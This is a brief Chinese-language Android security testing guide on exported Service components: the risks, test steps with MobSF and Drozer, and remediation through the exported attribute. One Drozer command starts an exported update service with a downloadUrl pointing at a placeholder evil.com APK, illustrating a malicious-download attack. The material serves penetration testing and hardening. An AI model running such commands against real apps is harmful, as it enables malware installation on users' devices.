1. 问题说明

Service 是没有界面且能长时间运行于后台的应用组件,应用的组件可以启动一个服务运行于后台无论用户是否切换到其他应用。一个组件还可以绑定到一个 Service 来进行交互,即使进程间通讯间的交互也是可以的。例如,一个 Service 可能是执行文件 I/O,处理网络事物,或与一个内容提供者交互等等,所有这些服务都在后台进行。如果 Service 出现问题,则可能会被系统或者第三方的应用程序直接调出并使用。组件导出可能导致登录界面被绕过、信息泄露、数据库 SQL 注入、DOS、恶意调用等风险。

2. 测试步骤

检查 AndroidManifest.xml 文件中注册的 Service(MobSF),查看有没有 export 的 Service,查看 Service 类, 重点关注 onCreate/onStarCommand/onHandleIntent 方法,检测有没有处理不当的方法
检索所有类中 startService/bindService 方法及其传递的数据,检测是否有数据泄露的可能

相关 Drozer 命令如下:

  1. dz> run app.service.info -a com.package
  2. dz> run app.service.start --component com.package xxx.xxx.xxx
  3. # 我之前遇到过导出的 service 组件中有 xxx.xxx.service.UpdateService 更新服务,查看源码后构造恶意链接发现可以下载恶意 APK
  4. dz> run app.service.start --action xxx.xxx.service.UpdateService --extra string downloadUrl http://www.evil.com/evil.apk

3. 修复建议

exported 属性明确定义:

  1. 私有 service 不定义 intent-filter 并且设置 exported 为 fals;
  2. 公开的 service 设置 exported 为 true,intent-filter 可以定义或者不定义;
  3. 内部/合作 service 设置 exported 为 true,intent-filter 不定义。